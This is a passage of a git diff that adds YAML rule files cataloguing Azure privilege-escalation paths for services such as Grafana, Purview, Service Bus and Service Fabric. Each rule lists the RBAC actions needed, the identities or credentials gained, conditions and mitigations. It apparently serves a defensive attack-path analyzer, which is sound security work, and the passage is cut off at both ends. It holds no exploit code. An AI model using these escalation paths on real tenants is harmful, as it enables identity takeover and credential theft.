Pool + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-devops-pools-privesc.md#bind-a-privileged-identity-to-a-pool-poolswrite--rce-as-identity-via-cicd-jobs + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities it may assign, through jobs that run on the pool's agents. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.DevOpsInfrastructure/pools/write + scope: "{pivot}" + pivot_resource_type: Microsoft.DevOpsInfrastructure/pools + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: job_execution_path + description: Code must run on the pool, which requires the ability to queue a job in the connected Azure DevOps organization or GitHub repository (not collected), or a change to the agent image the pool consumes. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict pools/write and userAssignedIdentities/assign/action, and limit which pipelines may target pools carrying privileged identities. + references: + - https://learn.microsoft.com/en-us/azure/devops/managed-devops-pools/configure-identity + notes: "" + +- id: azure-devopspool-write-existing-identity + provider: azure + service: managed_devops_pools + title: Repoint the agent image or VM configuration of a pool that carries identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-devops-pools-privesc.md#bind-a-privileged-identity-to-a-pool-poolswrite--rce-as-identity-via-cicd-jobs + source_revision: 171e422 + summary: The source can obtain the privileges of the managed identities already attached to the pool, through attacker-controlled agent images or jobs. + requires: + all_of: + - action: Microsoft.DevOpsInfrastructure/pools/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.DevOpsInfrastructure/pools + scope: inherited_scope + aggregate_as: "Managed identities of DevOps pool {target.host_resource}" + conditions: + - id: attacker_image_or_job + description: Requires an agent image the source controls and that the pool can read (for example an Azure Compute Gallery image), or the ability to queue jobs on the pool. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict pools/write and pin pool images to trusted galleries. + references: + - https://learn.microsoft.com/en-us/azure/devops/managed-devops-pools/overview + notes: "" diff --git a/src/privilege-escalation-paths-research/azure/managed_grafana.yaml b/src/privilege-escalation-paths-research/azure/managed_grafana.yaml new file mode 100644 index 0000000000..670ae2344c --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/managed_grafana.yaml @@ -0,0 +1,111 @@ +# Azure Managed Grafana techniques (declarative only). +# Source: hacktricks-cloud az-managed-grafana-privesc.md (rev 171e422; re-reviewed at a66f094ede). + +- id: azure-grafana-act-as-admin + provider: azure + service: managed_grafana + title: Grafana Admin through the ActAsGrafanaAdmin data action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#microsoftdashboardgrafanaactasgrafanaadminaction + source_revision: 171e422 + summary: The source can obtain Grafana Admin on the workspace, including use of its configured data sources. + requires: + all_of: + - action: Microsoft.Dashboard/grafana/ActAsGrafanaAdmin/action + data_action: true + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "Grafana admins of {target.scope}" + conditions: + - id: datasource_identity + description: Data sources configured with the workspace managed identity let Grafana Admin query whatever that identity can read; this partial identity use is configuration-dependent. + blockers: [] + confidence: derived + severity: high + mitigation: Restrict the Grafana Admin role assignment and keep the workspace identity read-scoped. + references: + - https://learn.microsoft.com/en-us/azure/managed-grafana/how-to-manage-access-permissions-users-identities + notes: "" + +- id: azure-grafana-datasource-workspace-identity + provider: azure + service: managed_grafana + title: Query Azure data as the Grafana workspace identity through data sources + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#microsoftdashboardgrafanaactasgrafanaeditoraction--datasource-proxy-ssrf-to-mi + source_revision: a66f094ede + summary: A Grafana Editor or Admin can create or edit data sources that authenticate with the workspace managed identity, so the Grafana backend reads Azure Monitor, Resource Graph or Log Analytics data the identity can reach on the source's behalf. + requires: + all_of: [] + any_of: + - - action: Microsoft.Dashboard/grafana/ActAsGrafanaEditor/action + data_action: true + scope: "{target.host_resource}" + - - action: Microsoft.Dashboard/grafana/ActAsGrafanaAdmin/action + data_action: true + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Dashboard/grafana + scope: inherited_scope + aggregate_as: "Read access of identities attached to Grafana workspace {target.host_resource}" + outcome: impersonation + conditions: + - id: datasource_read_only + description: Only the identity's read access through Grafana data-source plugins is usable; no token and no write privileges of the identity are obtained. + - id: identity_type_config + description: The built-in managed-identity data-source setting uses the system-assigned identity; a user-assigned identity needs an explicit data-source configuration. + blockers: + - azure_deny_assignment + confidence: conditional + severity: medium + mitigation: Restrict the Grafana Editor and Admin roles and keep the workspace identity read-scoped to the resources its dashboards need. + references: + - https://learn.microsoft.com/en-us/azure/managed-grafana/how-to-data-source-plugins-managed-identity + notes: Partial identity gain (read through data sources only); evaluator should not propagate the identity's write role assignments. + +- id: azure-grafana-assign-user-assigned-identity + provider: azure + service: managed_grafana + title: Attach a user-assigned identity to a Grafana workspace and query as it + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#microsoftdashboardgrafanawrite--mi-attach--remove-the-service-account-persistence-boundary + source_revision: a66f094ede + summary: Attaching an assignable user-assigned identity to a workspace where the source is Grafana Editor or Admin lets it read Azure data as that identity through data sources. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Dashboard/grafana/write + scope: "{pivot}" + any_of: + - - action: Microsoft.Dashboard/grafana/ActAsGrafanaEditor/action + data_action: true + scope: "{pivot}" + - - action: Microsoft.Dashboard/grafana/ActAsGrafanaAdmin/action + data_action: true + scope: "{pivot}" + pivot_resource_type: Microsoft.Dashboard/grafana + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + outcome: impersonation + conditions: + - id: datasource_read_only + description: Only the identity's read access through Grafana data-source plugins is usable; no token and no write privileges of the identity are obtained. + - id: single_identity_type + description: A workspace carries one managed-identity type at a time, so attaching a user-assigned identity can break data sources that use the system-assigned one. + blockers: + - azure_deny_assignment + confidence: conditional + severity: medium + mitigation: Restrict userAssignedIdentities/assign/action and grafana/write, and separate workspace contributors from Grafana Editors and Admins. + references: + - https://learn.microsoft.com/en-us/azure/managed-grafana/how-to-data-source-plugins-managed-identity + notes: Partial identity gain (read through data sources only); evaluator should not propagate the identity's write role assignments. diff --git a/src/privilege-escalation-paths-research/azure/maps.yaml b/src/privilege-escalation-paths-research/azure/maps.yaml new file mode 100644 index 0000000000..170be40a80 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/maps.yaml @@ -0,0 +1,31 @@ +# Azure Maps techniques (declarative only). +# Source: hacktricks-cloud az-maps-privesc.md (re-reviewed at rev 171e422). + +- id: azure-maps-listsas-attached-identity + provider: azure + service: maps + title: Mint a Maps SAS backed by the account's user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md#microsoftmapsaccountslistsasaction + source_revision: 171e422 + summary: The source can obtain the Maps data-plane privileges of the user-assigned identity attached to the Maps account. + requires: + all_of: + - action: Microsoft.Maps/accounts/listSas/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Maps/accounts + managed_identity_type: user_assigned + scope: inherited_scope + aggregate_as: "Maps-scoped access of identities attached to Maps account {target.host_resource}" + conditions: + - id: maps_dataplane_only + description: The SAS is limited to the identity's Azure Maps data-plane roles; it does not yield an ARM/Graph token for the identity. + blockers: [] + confidence: conditional + severity: medium + mitigation: Restrict listSas/action and give Maps-attached identities only the Maps roles they need. + references: + - https://learn.microsoft.com/en-us/azure/azure-maps/azure-maps-authentication + notes: Partial identity gain (Maps only); evaluator should not propagate the identity's other role assignments. diff --git a/src/privilege-escalation-paths-research/azure/monitor.yaml b/src/privilege-escalation-paths-research/azure/monitor.yaml new file mode 100644 index 0000000000..8529553e81 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/monitor.yaml @@ -0,0 +1,30 @@ +- id: azure-peaso-microsoftinsightswebtestsread + provider: azure + service: monitor + title: Read a reusable credential stored in an availability test + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightswebtestsread + source_revision: 0b36331 + summary: The web test request contains an unexpired bearer, basic or signed-URL credential. + requires: + any_of: + - - action: Microsoft.Insights/webtests/read + scope: '{pivot}' + target: + kind: azure_service_principal + selector: + azure_challenge_fact: azure-peaso-microsoftinsightswebtestsread + scope: inherited_scope + outcome: credentials + conditions: + - id: credential_match + description: A stored request credential must map to a target principal and be usable. + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict the cited permission and remove unnecessary credential or identity bindings. + references: + - https://learn.microsoft.com/en-us/azure/azure-monitor/app/availability-overview + notes: 'Collector fact required: azure_webtest_request_credentials.' diff --git a/src/privilege-escalation-paths-research/azure/purview.yaml b/src/privilege-escalation-paths-research/azure/purview.yaml new file mode 100644 index 0000000000..8542cb710b --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/purview.yaml @@ -0,0 +1,91 @@ +- id: azure-purview-add-root-collection-admin + provider: azure + service: purview + title: Add a principal as Purview root collection administrator from the ARM control plane + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewaccountsaddrootcollectionadminaction--root-collection-administrator-grant + source_revision: 171e422 + summary: The source can make itself (or any principal) root collection administrator of the Purview account, the top of the Purview data-plane role hierarchy. + requires: + all_of: + - action: Microsoft.Purview/accounts/addrootcollectionadmin/action + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "Purview root collection admin of {target.scope}" + conditions: + - id: purview_dataplane_only + description: The gain is Purview data-plane administration (collection roles, data sources, scan credentials, access policies); it does not yield a token for the Purview account's managed identity or for scan credentials stored in Key Vault. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Remove addrootcollectionadmin/action from broad roles (it is included in Contributor) with a custom role or deny assignment, and review Purview root collection role membership. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/analytics#microsoftpurview + - https://learn.microsoft.com/en-us/purview/how-to-create-and-manage-collections + notes: Granted by Owner and Contributor without Microsoft.Authorization write. Follow-on Purview access policies into governed SQL/Storage sources are data access and are excluded separately. The resulting grant lives in the Purview role model, not in Azure RBAC. +- id: azure-purview-rogue-shir-scan-credentials + provider: azure + service: purview + title: Bootstrap Purview Data Source Admin and receive scan credentials on a rogue self-hosted integration runtime + source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#rogue-self-hosted-integration-runtime-as-a-credential-relay + source_revision: a66f094ede + summary: A root collection administrator can grant itself Data Source Admin, register a self-hosted integration runtime it controls and scan through it; the scan credentials resolved from connected Key Vaults, which can include service-principal secrets, are delivered to that runtime host. + requires: + all_of: + - action: Microsoft.Purview/accounts/addrootcollectionadmin/action + scope: '{pivot}' + pivot_resource_type: Microsoft.Purview/accounts + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals with scan credentials referenced by Purview account {pivot} + conditions: + - id: scan_credential_is_service_principal + description: Only scan credentials that are service-principal secrets are an identity gain; SQL logins and on-premises credentials are data access only. + - id: purview_identity_reads_key_vault + description: The Purview account identity must be able to read the referenced Key Vault secret for the scan to resolve it. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Remove addrootcollectionadmin/action from broad roles, restrict Data Source Admin, alert on new self-hosted integration runtime registrations, and prefer managed-identity scan authentication. + references: + - https://learn.microsoft.com/en-us/purview/manage-integration-runtimes + notes: Chains azure-purview-add-root-collection-admin. A source that already holds Purview Data Source Admin reaches the same targets, but Purview data-plane roles are not collected. +- id: azure-audit-microsoftpurviewpolicyelementswrite-purview-access-policies-into-governe + provider: azure + service: purview + title: Microsoft.Purview/policyElements/write — Purview access policies into governed SQL/Storage + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewpolicyelementswrite--purview-access-policies-into-governed-sqlstorage + summary: Purview-governed SQL or Storage data access granted to chosen principal + requires: + all_of: + - action: Microsoft.Purview/policyElements/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + scope: inherited_scope + aggregate_as: Microsoft.Purview/policyElements/write — Purview access policies into governed SQL/Storage on + {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-microsoftpurviewpolicyelementswrite-purview-access-policies-into-governe + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/rest/api/purview/accounts/list-keys?view=rest-purview-2021-12-01 + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: purview.governedSources.' diff --git a/src/privilege-escalation-paths-research/azure/service_bus.yaml b/src/privilege-escalation-paths-research/azure/service_bus.yaml new file mode 100644 index 0000000000..76c013a637 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/service_bus.yaml @@ -0,0 +1,187 @@ +- id: azure-servicebus-message-injection-consumer + provider: azure + service: service_bus + title: Inject Service Bus messages into a privileged consumer + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#send-messages-dataactions-microsoftservicebusnamespacesmessagessendaction + source_revision: a66f094ede + summary: Sending messages through Entra data actions or a disclosed or rotated SAS key feeds attacker input to Functions, Logic Apps or workers that process the queue or subscription with their own managed identity. + requires: + all_of: [] + any_of: + - - action: Microsoft.ServiceBus/namespaces/messages/send/action + data_action: true + scope: "{pivot}" + - - action: Microsoft.ServiceBus/namespaces/authorizationRules/listKeys/action + scope: "{pivot}" + - - action: Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action + scope: "{pivot}" + - - action: Microsoft.ServiceBus/namespaces/queues/authorizationRules/listKeys/action + scope: "{pivot}" + - - action: Microsoft.ServiceBus/namespaces/queues/authorizationRules/regenerateKeys/action + scope: "{pivot}" + - - action: Microsoft.ServiceBus/namespaces/topics/authorizationRules/listKeys/action + scope: "{pivot}" + - - action: Microsoft.ServiceBus/namespaces/topics/authorizationRules/regenerateKeys/action + scope: "{pivot}" + - - action: Microsoft.ServiceBus/namespaces/disasterRecoveryConfigs/authorizationRules/listkeys/action + scope: "{pivot}" + pivot_resource_type: Microsoft.ServiceBus/namespaces + target: + kind: azure_managed_identity + selector: + azure_consumer_of_pivot: service_bus_trigger + scope: any + aggregate_as: "Workload identities triggered by Service Bus namespace {pivot}" + outcome: workload_execution + conditions: + - id: consumer_trusts_message + description: The consumer must treat message fields as commands, URLs, templates or serialized objects; send access alone does not guarantee code execution. + - id: local_auth_enabled + description: The listKeys / regenerateKeys alternatives require local (SAS) authentication on the namespace and a rule carrying the Send right. + - id: entity_scope + description: Entity-scoped rules and data-action assignments reach only that queue or topic, so the consumer must read from it. + blockers: + - azure_deny_assignment + confidence: conditional + severity: medium + mitigation: Disable local auth, separate senders from privileged consumers, and validate or sign message content before acting on it. + references: + - https://learn.microsoft.com/en-us/azure/service-bus-messaging/authenticate-application + - https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-sas + notes: Rule-creation headings (authorizationRules/write) need a key read-back, which the listKeys alternatives cover. Receive headings are data access and stay excluded. +- id: azure-audit-authorization-rule-key-disclosure-and-rotation + provider: azure + service: servicebus + title: Authorization-rule key disclosure and rotation + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#authorization-rule-key-disclosure-and-rotation + summary: new standalone SAS credential with rule-scoped rights + requires: + all_of: [] + any_of: + - - action: Microsoft.ServiceBus/namespaces/authorizationRules/listKeys/action + scope: '{target.scope}' + - - action: Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Authorization-rule key disclosure and rotation on {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-authorization-rule-key-disclosure-and-rotation + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: serviceBus.rules.' +- id: azure-audit-microsoftservicebusnamespacesdisasterrecoveryconfigsauthorizationrulesli + provider: azure + service: servicebus + title: Microsoft.ServiceBus/namespaces/disasterRecoveryConfigs/authorizationRules/listkeys/action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesdisasterrecoveryconfigsauthorizationruleslistkeysaction + summary: new alias credential with rule-scoped rights + requires: + all_of: + - action: Microsoft.ServiceBus/namespaces/disasterRecoveryConfigs/authorizationRules/listkeys/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Microsoft.ServiceBus/namespaces/disasterRecoveryConfigs/authorizationRules/listkeys/action on + {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-microsoftservicebusnamespacesdisasterrecoveryconfigsauthorizationrulesli + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: serviceBus.geoDrRules.' +- id: azure-audit-microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysactio + provider: azure + service: servicebus + title: Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysaction-or-microsoftservicebusnamespacesqueuestopicsauthorizationrulesregeneratekeysaction + summary: entity-scoped SAS credential + requires: + all_of: [] + any_of: + - - action: Microsoft.ServiceBus/namespaces/queues/authorizationRules/listKeys/action + scope: '{target.scope}' + - - action: Microsoft.ServiceBus/namespaces/queues/authorizationRules/regenerateKeys/action + scope: '{target.scope}' + - - action: Microsoft.ServiceBus/namespaces/topics/authorizationRules/listKeys/action + scope: '{target.scope}' + - - action: Microsoft.ServiceBus/namespaces/topics/authorizationRules/regenerateKeys/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action + on {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysactio + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: serviceBus.entityRules.' +- id: azure-audit-microsoftservicebusnamespacesauthorizationruleswrite + provider: azure + service: servicebus + title: Microsoft.ServiceBus/namespaces/AuthorizationRules/write + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesauthorizationruleswrite + summary: new namespace SAS principal with attacker-selected Manage rights + requires: + all_of: + - action: Microsoft.ServiceBus/namespaces/authorizationRules/write + scope: '{target.scope}' + - action: Microsoft.ServiceBus/namespaces/authorizationRules/listKeys/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Microsoft.ServiceBus/namespaces/AuthorizationRules/write on {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-microsoftservicebusnamespacesauthorizationruleswrite + conditions: + - id: same_resource_binding + description: All actions must apply to the same service resource and the referenced child object. + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: serviceBus.namespaces.' diff --git a/src/privilege-escalation-paths-research/azure/service_fabric.yaml b/src/privilege-escalation-paths-research/azure/service_fabric.yaml new file mode 100644 index 0000000000..1ce68c52b2 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/service_fabric.yaml @@ -0,0 +1,154 @@ +- id: azure-servicefabric-application-deploy-node-identity + provider: azure + service: service_fabric + title: Deploy a Service Fabric application to run code on cluster nodes + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#application-deploy--node-rce + source_revision: 171e422 + summary: Application code runs on the cluster's VMSS nodes, exposing the managed identities attached to the node scale sets. + requires: + all_of: [] + any_of: + - - action: Microsoft.ServiceFabric/managedClusters/applicationTypes/write + scope: "{pivot}" + - action: Microsoft.ServiceFabric/managedClusters/applicationTypes/versions/write + scope: "{pivot}" + - action: Microsoft.ServiceFabric/managedClusters/applications/write + scope: "{pivot}" + - - action: Microsoft.ServiceFabric/clusters/applicationTypes/write + scope: "{pivot}" + - action: Microsoft.ServiceFabric/clusters/applicationTypes/versions/write + scope: "{pivot}" + - action: Microsoft.ServiceFabric/clusters/applications/write + scope: "{pivot}" + pivot_resource_type: Microsoft.ServiceFabric/managedClusters|Microsoft.ServiceFabric/clusters + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachineScaleSets + azure_host_linked_to_pivot: service_fabric_node_vmss + scope: inherited_scope + aggregate_as: "Node scale-set identities of Service Fabric cluster {pivot}" + conditions: + - id: package_reachable + description: The application type version must reference a package URL the cluster can download. + - id: node_identity_present + description: Only identities attached to the node scale sets are reachable through IMDS; application-level identities need the identity-assignment entry. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Service Fabric application and application-type writes (Service Fabric Managed Cluster Contributor grants them), keep node scale-set identities least-privileged, and alert on application deployments. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftservicefabric + - https://learn.microsoft.com/en-us/azure/service-fabric/how-to-managed-identity-managed-cluster-virtual-machine-scale-sets + notes: Template-based deployments additionally need Microsoft.Resources/deployments write. For managed clusters the node scale sets live in a service-managed resource group. Running code on a node also exposes the cluster certificate in the node certificate store (Service Fabric data-plane admin, not an Azure principal). +- id: azure-servicefabric-application-user-assigned-identity + provider: azure + service: service_fabric + title: Deploy a Service Fabric application bound to a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#managed-identity-token-theft-via-the-sf-token-service + source_revision: 171e422 + summary: An attacker-supplied application bound to a user-assigned identity obtains that identity's tokens from the Service Fabric token service. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + any_of: + - - action: Microsoft.ServiceFabric/managedClusters/applicationTypes/write + scope: "{pivot}" + - action: Microsoft.ServiceFabric/managedClusters/applicationTypes/versions/write + scope: "{pivot}" + - action: Microsoft.ServiceFabric/managedClusters/applications/write + scope: "{pivot}" + - - action: Microsoft.ServiceFabric/clusters/applicationTypes/write + scope: "{pivot}" + - action: Microsoft.ServiceFabric/clusters/applicationTypes/versions/write + scope: "{pivot}" + - action: Microsoft.ServiceFabric/clusters/applications/write + scope: "{pivot}" + pivot_resource_type: Microsoft.ServiceFabric/managedClusters|Microsoft.ServiceFabric/clusters + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: cluster_managed_identity_token_service + description: The cluster must have the managed identity token service enabled; on classic clusters the identity must also be assigned to the node scale set (a separate Compute write). + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and Service Fabric application writes; keep application identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/service-fabric/concepts-managed-identity + - https://learn.microsoft.com/en-us/azure/service-fabric/how-to-managed-identity-service-fabric-app-code + notes: Theft of an existing application's identity from other code on the node depends on per-activation secrets and process isolation and is not modelled separately; node scale-set identities are covered by azure-servicefabric-application-deploy-node-identity. +- id: azure-servicefabric-managed-nodetype-user-assigned-identity + provider: azure + service: service_fabric + title: Attach a user-assigned identity to a managed-cluster node type + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#cluster--node-type-create-or-modify + source_revision: a66f094ede + summary: Adding a user-assigned identity to a node type exposes that identity through IMDS to code running on the nodes. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.ServiceFabric/managedClusters/write + scope: "{pivot}" + - action: Microsoft.ServiceFabric/managedClusters/nodeTypes/write + scope: "{pivot}" + pivot_resource_type: Microsoft.ServiceFabric/managedClusters + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: sfrp_identity_operator + description: The Azure Service Fabric Resource Provider service principal must hold Managed Identity Operator on the identity (a one-time role assignment that itself needs roleAssignments/write). + - id: node_code_execution + description: The source also needs code on the nodes, through an application deployment or a node-type VM extension. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict managedClusters/nodeTypes/write and userAssignedIdentities/assign/action, and alert on Managed Identity Operator grants to the Service Fabric Resource Provider. + references: + - https://learn.microsoft.com/en-us/azure/service-fabric/how-to-managed-identity-managed-cluster-virtual-machine-scale-sets + notes: The classic-cluster variant changes the paired scale set directly and is covered by azure-vmss-model-write. +- id: azure-audit-cluster-client-certificate-theft-data-plane-admin + provider: azure + service: service_fabric + title: Cluster / client certificate theft → data-plane admin + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#cluster--client-certificate-theft--data-plane-admin + summary: cluster certificate identity, able to deploy apps and reach node identity + requires: + all_of: + - action: Microsoft.KeyVault/vaults/secrets/getSecret/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Cluster / client certificate theft → data-plane admin on {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-cluster-client-certificate-theft-data-plane-admin + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/service-fabric/service-fabric-cluster-security + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: serviceFabric.certSecretLinks.' diff --git a/src/privilege-escalation-paths-research/azure/service_linker.yaml b/src/privilege-escalation-paths-research/azure/service_linker.yaml new file mode 100644 index 0000000000..588df5898a --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/service_linker.yaml @@ -0,0 +1,36 @@ +- id: azure-service-linker-read-connection-configuration-to-exfiltrate-the-backing-secret + provider: azure + service: service_linker + title: Read a Service Linker backing credential + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-connector-post-exploitation.md#read-connection-configuration-to-exfiltrate-the-backing-secret + source_revision: 0b36331 + summary: for every secret-based connection, listConfigurations / generateConfigurations return the plaintext connection string with the embedded secret (e.g. AZURE_STORAGEBLOB_CONNECTIONSTRING=...;AccountKey=;..., a SQL/PostgreSQL password, a Cosmos DB key). The crucial part is that Service Connector Contributor is scoped to Microsoft.ServiceLinker/* only — it does not include Microsoft.Storage/storageAccounts/listKeys, Microsoft.DocumentDB/.../listKeys, the DB listKeys/admin actions, or Key Vault data actions — yet the config read hands back the underlying secret anyway. So a principal holdi + requires: + all_of: [] + any_of: + - - action: Microsoft.ServiceLinker/linkers/read + scope: '{target.scope}' + - action: Microsoft.ServiceLinker/linkers/listConfigurations/action + scope: '{target.scope}' + - - action: Microsoft.ServiceLinker/linkers/read + scope: '{target.scope}' + - action: Microsoft.ServiceLinker/linkers/generateConfigurations/action + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + azure_challenge_fact: azure-service-linker-read-connection-configuration-to-exfiltrate-the-backing-secret + scope: inherited_scope + aggregate_as: Pending service authority for service_linker + outcome: application_admin + grants: + - Each source linker’s backing Storage, SQL, PostgreSQL or Cosmos DB credential returned in its configuration. + conditions: + - id: collector_fact_required + 